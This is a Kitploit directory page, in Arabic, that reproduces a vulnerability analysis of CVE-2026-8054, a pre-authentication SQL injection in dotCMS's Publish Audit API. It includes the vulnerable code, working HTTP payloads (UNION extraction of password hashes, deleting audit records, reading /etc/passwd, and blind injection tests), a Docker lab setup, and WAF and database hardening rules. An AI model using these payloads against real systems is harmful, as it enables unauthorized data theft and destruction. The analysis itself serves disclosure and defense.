Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-8054 — حقن SQL قبل المصادقة في dotCMS | Kitploit
أدوات/GitHubGitHub/mr-xn/cve-2026-8054
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

حقن SQL قبل المصادقة في dotCMS

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

1. نظرة عامة على الثغرة

CVE-2026-8054 هي ثغرة حقن SQL عالية الخطورة قبل المصادقة (Pre-auth SQL Injection) موجودة في واجهة برمجة تطبيقات تدقيق النشر (Publish Audit API) في dotCMS Core. تتابعها الجهة الرسمية كـحادث أمني SI-75، وقد تم إدراجها والإفصاح عنها رسميًا في نهاية مايو 2026. ونظرًا لأن المهاجم يمكنه استغلالها عن بُعد دون الحاجة إلى أي صلاحيات حساب، فإن ضررها المحتمل خطير جدًا.

الخاصيةالقيمة
رقم CVECVE-2026-8054
التتبع الرسميSI-75
نوع الثغرةحقن SQL (CWE-89)
المكوّن المتأثرdotCMS Core - Publish Audit API
درجة CVSS10.0 (Critical)
الإصدارات المتأثرة25.11.04-1 إلى 26.04.28-02
الإصدار المُصحَّح26.04.28-03
ناقل الهجومحقن SQL عن بُعد بدون مصادقة (Pre-auth)
الصلاحيات المطلوبةبدون مصادقة
تفاعل المستخدملا يوجد
تأثير إصدارات LTSغير متأثرة (لم يُنقل فرع كود التدقيق إلى شجرة LTS)

2. شرح تفصيلي لمبدأ الثغرة

2.1 جوهر الثغرة

توجد الثغرة في واجهتي REST التاليتين: /api/auditPublishing/get و /api/auditPublishing/getAll. عند استلام هاتين الواجهتين لمعاملات الطلب المُدخلة من العميل، لا يتم إجراء أي تصفية أو ربط مُعاملات (Parameter Binding)، بل تُبنى استعلامات SQL ديناميكيًا مباشرة عبر وصل النصوص (String Concatenation).

والأخطر من ذلك، أن dotCMS أغفلت تمامًا التحقق من الهوية وفحوصات التفويض (Authorization) على هذه الواجهات الخلفية الحساسة المتعلقة بالتدقيق. وهذا يعني أن أي مهاجم عن بُعد بدون بيانات اعتماد على الشبكة الخارجية، طالما يمكنه الوصول إلى النظام عبر الشبكة، يستطيع إرسال طلبات HTTP تحمل حمولات (Payloads) خبيثة مباشرة إلى الواجهات.

2.2 نقاط دخول الثغرة

مسار الملف: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

توجد الثغرة في نقطتي نهاية REST API:

  • GET /api/auditPublishing/get/{bundleId} - الحصول على حالة تدقيق نشر واحدة
  • POST /api/auditPublishing/getAll - الحصول على حالات تدقيق النشر بشكل مجمّع

المشكلة الأساسية: قبل الإصلاح، كانت هاتان النقطتان لا تتطلبان أي مصادقة، ويمكن لأي مستخدم مجهول الوصول إليهما مباشرة.

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【漏洞点】没有认证检查!直接调用后端API
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 الكود الجوهري للثغرة

مسار الملف: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

الدالة: getPublishAuditStatuses(List<String> bundleIds) (الأسطر 224-245)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【漏洞点1】直接将用户输入拼接到SQL语句中
        // 仅添加单引号包裹,没有任何参数化或转义处理
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 危险: 字符串拼接
            .collect(Collectors.toList());

        // 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

ثابت SQL (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 مسار انتشار التلوث (Taint Propagation)

root@kitploit:~
graph LR
    subgraph المهاجم الخارجي
        A[مهاجم عن بُعد] -->|إرسال حمولة خبيثة| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|استدعاء| D[PublishAuditAPI]
        D -->|استدعاء| E[PublishAuditAPIImpl]
        E -->|تمرير bundleIds| F[معالجة التلوث<br/>bundleIds.stream<br/>.map id -> id]
        F -->|وصل المعاملات| G[بناء SQL<br/>String.format]
    end

    subgraph Technology Layer
        G -->|بناء SQL| H[استعلام SQL ديناميكي<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|تنفيذ| I[تنفيذ SQL]
        I -->|تنفيذ SQL مُحقون| J[PostgreSQL/MySQL]
    end

    subgraph نقاط الثغرة
        K[نقطة الثغرة 1<br/>لا يوجد فحص مصادقة] -.->|تجاوز المصادقة| C
        L[نقطة الثغرة 2<br/>لا يوجد ربط مُعاملات] -.->|يضيف اقتباسات فقط| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

انتشار التلوث: إدخال المستخدم → REST API → المعالجة الخلفية → بناء SQL → تنفيذ قاعدة البيانات العيب الحرج: عدم وجود مصادقة + عدم وجود مُعاملات = حقن SQL قابل للتحكم بالكامل

2.5 تحليل مبدأ حقن SQL

افترض أن إدخال المستخدم هو bundleIds = ["x' OR '1'='1"]

SQL الطبيعي:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SQL بعد الحقن:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

وبما أن '1'='1' صحيحة دائمًا، فإن هذا الاستعلام سيعيد جميع السجلات من الجدول.

root@kitploit:~
graph TD
    subgraph مقارنة الإدخال
        A[إدخال طبيعي<br/>bundle-123] -->|بناء| B[SQL طبيعي<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[إدخال خبيث<br/>x OR 1=1] -->|حقن| D[SQL مُحقون<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph تنفيذ قاعدة البيانات
        B -->|تنفيذ| E[قاعدة البيانات]
        D -->|تنفيذ| E
    end

    subgraph مقارنة النتائج
        E -->|إرجاع| F[نتيجة طبيعية<br/>سجل واحد]
        E -->|إرجاع تسريب بيانات| G[نتيجة التسريب<br/>جميع السجلات]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[نقطة الحقن: علامة الاقتباس المفردة تُغلق السلسلة الأصلية<br/>OR 1=1 تجعل الشرط صحيحًا دائمًا<br/>النتيجة: إرجاع جميع السجلات]

3. تحليل الأثر والضرر

يمكن للمهاجم الذي يستغل هذه الثغرة بنجاح تنفيذ أي أوامر SQL بسياق مستخدم نظام قاعدة البيانات، مما يؤدي إلى العواقب الوخيمة التالية:

root@kitploit:~
graph TD
    subgraph تحليل أثر الهجوم
        subgraph سرية البيانات
            A[تجزئة كلمة مرور المسؤول]
            B[بيانات اعتماد المستخدمين]
            C[رمز إعادة التعيين]
            D[إعدادات النظام]
        end

        subgraph سلامة البيانات
            E[محتوى الموقع]
            F[صلاحيات وأدوار المستخدمين]
            G[سجلات التدقيق]
        end

        subgraph توافر النظام
            H[DROP TABLE]
            I[حذف البيانات]
            J[تحديث البيانات]
        end

        subgraph تصعيد الصلاحيات
            K[الاستيلاء على حساب المسؤول]
            L[قراءة وكتابة نظام الملفات]
            M[تنفيذ الكود عن بُعد]
        end
    end

    N[ثغرة حقن SQL] -->|تسريب| A
    N -->|تسريب| B
    N -->|تسريب| C
    N -->|عبث| E
    N -->|عبث| F
    N -->|تنفيذ| H
    N -->|تحقيق| K
    N -->|تحقيق| L

    O[CVSS 10.0 Critical] -.->|تقييم| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 تسريب البيانات الحساسة

يمكن للمهاجم عبر حقن SQL تفريغ الجداول الأساسية لقاعدة البيانات والحصول على:

  • تجزئات كلمات مرور المسؤولين
  • معلومات بيانات اعتماد المستخدمين
  • رموز إعادة التعيين
  • معلومات إعدادات النظام
  • بيانات محتوى الموقع

مثال على حمولة هجوم - الحصول على كلمة مرور المسؤول:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 العبث بالبيانات وتدميرها

يمكن للمهاجم تعديل أو إدراج أو حذف أي شيء في قاعدة البيانات:

  • محتوى الموقع
  • صلاحيات وأدوار المستخدمين
  • إعدادات النظام
  • سجلات التدقيق

مثال على حمولة هجوم - حذف سجلات التدقيق:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 تصعيد الصلاحيات وتنفيذ الكود عن بُعد

اعتمادًا على نوع قاعدة البيانات المتصلة بالواجهة الخلفية (PostgreSQL وMySQL وغيرها) والصلاحيات المكوّنة، قد يتمكن المهاجم عبر نقطة الحقن من تحقيق ما يلي أيضًا:

  • الاستيلاء على حساب مسؤول اللوحة الخلفية
  • القراءة والكتابة على نظام الملفات (عبر دوال قاعدة البيانات)
  • تنفيذ الكود عن بُعد (RCE)

مثال على حمولة هجوم - قراءة ملفات PostgreSQL:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 تحليل سطح الهجوم


4. خطوات إعادة إنتاج الثغرة (PoC)

4.1 إعداد البيئة

root@kitploit:~
graph TB
    subgraph بنية بيئة Docker
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>شبكة bridge]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|كشف| E
    A -->|كشف| F
    B -->|كشف| G
    C -->|كشف| H

    A -->|الاتصال بقاعدة البيانات| B
    A -->|الاتصال بمحرك البحث| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[إصدار الثغرة: 25.11.04-1<br/>كلمة المرور الافتراضية: admin<br/>المنافذ: 8080, 8443]

إعداد بيئة الثغرة باستخدام Docker Compose:

docker-compose.yml:

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile:

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

أمر التشغيل:

root@kitploit:~
docker compose up -d
# 等待dotCMS初始化完成(约2-3分钟)
# 检查状态: docker compose logs -f dotcms

4.2 التحقق من الثغرة

الاختبار 1: تأكيد عدم حاجة نقطة النهاية للمصادقة

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

الاستجابة: 200 OK، تُرجع مصفوفة فارغة []، مما يثبت أنه يمكن الوصول إلى نقطة النهاية دون مصادقة.

الاختبار 2: حقن SQL - الحقن الأعمى البولياني ✅ تم التحقق

مبدأ الحقن الأعمى البولياني: تحديد صحة شرط الحقن (صحيح/خاطئ) من خلال ملاحظة الاختلاف في رموز حالة استجابة HTTP.

root@kitploit:~
graph TD
    subgraph عملية الحقن الأعمى البولياني
        A["إرسال طلب"] -->|إرسال حمولة| B["/api/auditPublishing/getAll"]

        B -->|شرط صحيح| C["شرط صحيح and 1=1"]
        B -->|شرط خاطئ| D["شرط خاطئ and 1=2"]

        C -->|إرجاع بيانات| E["404 Not Found توجد بيانات NPE"]
        D -->|لا تُرجع بيانات| F["200 OK + مصفوفة فارغة بلا بيانات بشكل طبيعي"]

        E -->|تحليل| G["تحليل الاستجابة"]
        F -->|تحليل| G

        G -->|استنتاج صحة الشرط| H["استخلاص النتيجة"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["الحمولة: real-bundle-1 and 1=1 الاستجابة: 404 خطأ NPE الاستنتاج: الشرط صحيح"]
    note2["الحمولة: real-bundle-1 and 1=2 الاستجابة: 200 + مصفوفة فارغة الاستنتاج: الشرط خاطئ"]

اختبار الشرط الصحيح (and 1=1):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

الاستجابة: 404 Not Found

اختبار الشرط الخاطئ (and 1=2):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

الاستجابة: 200 OK، تُرجع []

تحليل تنفيذ SQL:

root@kitploit:~
-- 真条件: bundle_id匹配 且 1=1为真 -> 返回数据 -> 代码处理NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- 假条件: bundle_id匹配 但 1=2为假 -> 不返回数据 -> 空结果正常处理 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

مبدأ اختلاف الاستجابة:

الخلاصة: من خلال الفرق بين استجابتي 404/200، يمكن للمهاجم استنتاج أي معلومة في قاعدة البيانات بتًا بتًا (أسماء الجداول، قيم الحقول، تجزئات كلمات المرور، إلخ).

الاختبار 3: حقن SQL - الحقن الأعمى الزمني ✅ تم التحقق

مبدأ الحقن الأعمى الزمني: تحديد صحة شرط الحقن من خلال ملاحظة الاختلاف في زمن الاستجابة.

root@kitploit:~
graph TD
    subgraph عملية الحقن الأعمى الزمني
        A["إرسال طلب"] -->|إرسال حمولة| B["/api/auditPublishing/getAll"]
        B -->|تمرير| C["حمولة تأخير SELECT pg_sleep N"]

        C -->|تنفيذ SQL| D["PostgreSQL"]
        D -->|استدعاء| E["pg_sleep N تنفيذ مؤجَّل"]

        E -->|تأخير N ثانية| F["قياس زمن الاستجابة"]
        F -->|مقارنة بخط الأساس| G["تحليل فرق التأخير"]
        G -->|استنتاج صحة الشرط| H["استخلاص النتيجة"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["الحمولة: x and SELECT pg_sleep 3 text=t الاستجابة العادية: 0.03 ثانية الاستجابة المؤجلة: 3.02 ثانية الاستنتاج: نجح تنفيذ pg_sleep"]

اختبار تأخير 3 ثوانٍ:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

الاستجابة: 200 OK، استغرق 3.02 ثانية

اختبار تأخير 5 ثوانٍ:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

الاستجابة: 200 OK، استغرق 5.01 ثانية

تحليل تنفيذ SQL:

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

مقارنة زمن الاستجابة:

الخلاصة: بالتحكم في زمن الاستجابة، يمكن للمهاجم استنتاج معلومات قاعدة البيانات بتًا بتًا في السيناريوهات التي لا تُظهر نتائج مباشرة.


5. تحليل خطة الإصلاح

5.1 محتوى إصلاح PR #35553

root@kitploit:~
graph TD
    subgraph خطة الإصلاح
        subgraph إصلاح الكود
            A[استعلام مُعامل<br/>استخدام عناصر نائبة]
            B[تعزيز المصادقة<br/>Push Publish Token]
            C[التحقق من الإدخال<br/>فحص null/القيم الفارغة]
        end

        subgraph تأثير الإصلاح
            D[منع حقن SQL]
            E[تقييد الوصول غير المصرح به]
            F[منع استثناء المؤشر الفارغ]
        end

        G[PR #35553]
        H[الإصدار المُصحَّح<br/>26.04.28-03]
    end

    G -->|تنفيذ| A
    G -->|تنفيذ| B
    G -->|تنفيذ| C

    A -->|ربط المعاملات| D
    B -->|فرض المصادقة| E
    C -->|معالجة القيم الفارغة| F

    H -->|يتضمن| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[قبل الإصلاح: وصل عبر String.format<br/>بعد الإصلاح: ربط المعاملات عبر dc.addParam]

الإصلاح 1: الاستعلام المُعامل

قبل الإصلاح (الكود الثغري):

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

بعد الإصلاح (الكود الآمن):

root@kitploit:~
// 新增: 空值检查
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// 使用参数化查询占位符
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // 参数绑定,防止SQL注入

الإصلاح 2: تعزيز المصادقة

قبل الإصلاح:

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // 无认证检查
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

بعد الإصلاح:

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // 新增: Push Publish Token认证检查
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // 返回401 Unauthorized
    }
    // ...
}

5.2 مبدأ الإصلاح

إجراء الإصلاحالوصف
الاستعلام المُعاملاستخدام العناصر النائبة ? بدلًا من وصل النصوص، حيث تتعامل قاعدة البيانات تلقائيًا مع تهريب المعاملات، مما يمنع حقن SQL من جذوره
تعزيز المصادقةيتطلب أن يحمل الطلب رمز Push Publish Token صالحًا، ولا يُسمح بالوصول إلا للمستخدمين المُسجَّلين في اللوحة الخلفية الحاصلين على صلاحية مكوّن publishing-queue
التحقق من الإدخالإضافة فحوصات null والقوائم الفارغة لمنع استثناء المؤشر الفارغ

5.3 توضيح الإصدارات المتأثرة

  • الإصدارات المتأثرة: جميع إصدارات التطوير السريع/التكرار السريع الواقعة بين dotCMS Core 25.11.04-1 و26.04.28-02
  • الإصدارات غير المتأثرة: إصدارات LTS (الدعم طويل الأمد) غير متأثرة، لأن فرع كود التدقيق المتأثر لم يُنقل أبدًا بشكل عكسي (Backported) إلى شجرة LTS

6. التخفيف المؤقت وتوصيات الحماية

إذا تعذرت الترقية الفورية إلى الإصدار المُصحَّح، يمكن اتخاذ الإجراءات المؤقتة التالية للتخفيف:

root@kitploit:~
graph TD
    subgraph إجراءات الحماية
        subgraph طبقة الشبكة
            A[حظر بقواعد WAF<br/>منع /api/auditPublishing/]
            B[تقييد جدار الحماية<br/>السماح بالوصول الداخلي فقط]
        end

        subgraph طبقة التطبيق
            C[قواعد حماية Nginx<br/>حظر عبر location]
            D[قواعد ModSecurity<br/>كشف حقن SQL]
        end

        subgraph طبقة البيانات
            E[تقييد صلاحيات قاعدة البيانات<br/>مبدأ الامتياز الأقل]
            F[تقييد الدوال عالية الخطورة<br/>pg_read_file وغيرها]
        end

        G[الترقية إلى 26.04.28-03<br/>الحل الجذري]
    end

    A -.->|بديل مؤقت| G
    B -.->|بديل مؤقت| G
    C -.->|بديل مؤقت| G
    E -.->|تقليل الأثر| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[الأولوية: P0 - الترقية فورًا<br/>الإجراءات الأخرى حلول تخفيف مؤقتة]

6.1 الحظر عبر قواعد WAF

قم بضبط سياسات التحكم في الوصول على جدار حماية تطبيقات الويب (WAF) أو الخادم الوكيل العكسي، بحيث يتم اعتراض أو رفض طلبات الشبكة الخارجية إلى المسارين /api/auditPublishing/get و /api/auditPublishing/getAll مباشرة.

مثال على تكوين قواعد حماية Nginx

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# 拦截 Publish Audit API 请求
location ~ ^/api/auditPublishing/(get|getAll) {
    # 返回403禁止访问
    return 403 "Forbidden: Endpoint blocked for security reasons";
    add_header Content-Type text/plain;
}

# 或者使用更宽松的方式,仅允许内网访问
location ~ ^/api/auditPublishing/(get|getAll) {
    # 允许内网IP段
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # 拒绝其他所有来源
    deny all;
}

# 针对SQL注入特征的WAF规则
location / {
    # 检测常见的SQL注入特征
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # 检测单引号注入
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

مثال على قواعد ModSecurity WAF

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# 规则1: 拦截对漏洞端点的访问
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"

# 规则2: 检测SQL注入特征
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"

6.2 تقييد صلاحيات قاعدة البيانات

تأكد من أن الحساب الذي يستخدمه dotCMS للاتصال بقاعدة البيانات يلتزم بمبدأ الامتياز الأقل (Least Privilege):

root@kitploit:~
-- PostgreSQL 权限限制示例
-- 创建受限用户
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- 仅授予必要的表权限
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- 禁止创建/删除表
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- 禁止执行系统命令
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- 禁止读取文件
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 الحماية على طبقة الشبكة

root@kitploit:~
# 使用iptables限制对API端口的访问
# 仅允许内网访问8080端口
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. الخلاصة

root@kitploit:~
graph TD
    subgraph ملخص الثغرة
        subgraph تحليل السبب الجذري
            A[غياب التحقق من الإدخال<br/>وصل إدخال المستخدم مباشرة في SQL]
            B[غياب المصادقة<br/>API يمكن الوصول إليها دون مصادقة]
            C[غياب المُعاملات<br/>وصل نصوص بدلًا من استعلام مُعامل]
        end

        subgraph تقييم CVSS
            D[CVSS 10.0<br/>Critical]
            E[شبكة عن بُعد]
            F[تعقيد منخفض]
            G[دون مصادقة]
        end

        subgraph توصيات الإصلاح
            H[P0: الترقية فورًا<br/>26.04.28-03]
            I[P1: حظر WAF<br/>تخفيف مؤقت]
            J[P2: صلاحيات قاعدة البيانات<br/>تقليل الأثر]
        end
    end

    A -->|يسبب| D
    B -->|يسبب| D
    C -->|يسبب| D

    H -->|يحل| A
    H -->|يحل| B
    H -->|يحل| C

    I -.->|بديل مؤقت| H
    J -.->|تقليل المخاطر| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[ناقل الهجوم: Network<br/>تعقيد الهجوم: Low<br/>الصلاحيات المطلوبة: None<br/>تفاعل المستخدم: None]

7.1 السبب الجذري للثغرة

  1. غياب التحقق من الإدخال: يتم وصل إدخال المستخدم مباشرة في عبارات SQL دون أي تصفية أو تهريب
  2. غياب المصادقة: يمكن الوصول إلى نقاط نهاية API دون أي مصادقة، مما يكشف وظائف خلفية حساسة
  3. غياب المُعاملات: استخدام وصل النصوص بدلًا من الاستعلامات المُعاملية، وهو ما ينتهك أفضل ممارسات البرمجة الآمنة

7.2 تقييم سطح الهجوم

  • ناقل الهجوم: شبكة عن بُعد (Network)
  • تعقيد الهجوم: منخفض (Low)
  • الشروط المسبقة: لا شيء (None)
  • تفاعل المستخدم: لا شيء (None)
  • درجة CVSS: 10.0 (Critical)

7.3 أولويات توصيات الإصلاح

7.4 توضيح بخصوص إصدارات LTS

ذكرت الجهة الرسمية أن إصدارات LTS (الدعم طويل الأمد) غير متأثرة، لأن فرع كود التدقيق المتأثر لم يُنقل أبدًا بشكل عكسي (Backported) إلى شجرة LTS. وبالتالي لا يحتاج مستخدمو إصدارات LTS إلى ترقية عاجلة.


8. المراجع

  1. NVD - CVE-2026-8054
  2. SentinelOne - CVE-2026-8054 Vulnerability Database
  3. dotCMS Security Advisory - SI-75
  4. dotCMS REST API Authentication
  5. GitHub PR #35553 - Fix
  6. Alan Turing Institute - TIER_2 CVE-2026-8054 Report

زمن إعداد التقرير: 2026-06-08 أدوات التحليل: Docker, curl, PostgreSQL إصدار الثغرة: dotCMS 25.11.04-1 الإصدار المُصحَّح: dotCMS 26.04.28-03 (PR #35553)

تنزيل الأداة
البُعدالتقييم
ناقل الهجومشبكة عن بُعد (Network)
تعقيد الهجوممنخفض (Low)
الشروط المسبقةلا شيء (None)
تفاعل المستخدملا شيء (None)
النطاق المتأثرمتغيّر (Changed)
تأثير السريةمرتفع (High)
تأثير السلامةمرتفع (High)
تأثير التوافرمرتفع (High)
الشرطنتيجة SQLسلوك الكوداستجابة HTTP
and 1=1 (صحيح)إرجاع السجلات المطابقةاستثناء NullPointerException عند معالجة البيانات في turnIntoPublishAuditStatus()404
and 1=2 (خاطئ)عدم إرجاع سجلاتقائمة فارغة تُرجع بشكل طبيعي200 + []
الحمولةالتأخير المتوقعالوقت الفعليالنتيجة
طلب عادي0 ثانية0.03 ثانية✅
pg_sleep(3)3 ثوانٍ3.02 ثانية✅ نجح التأخير
pg_sleep(5)5 ثوانٍ5.01 ثانية✅ نجح التأخير
الأولويةالإجراءالوصف
P0 - فوريالترقية إلى dotCMS 26.04.28-03 أو إصدار أحدثالإصدار المُصحَّح الرسمي، يحل المشكلة جذريًا
P1 - عاجلتكوين قواعد حظر WAFإجراء تخفيف مؤقت لمنع حركة الهجوم
P2 - مهمتقييد صلاحيات قاعدة البياناتتقليل نطاق الأثر بعد استغلال الثغرة
P3 - موصى بهتدقيق أمني لنقاط النهاية الأخرىالتحقق من وجود مشكلات مشابهة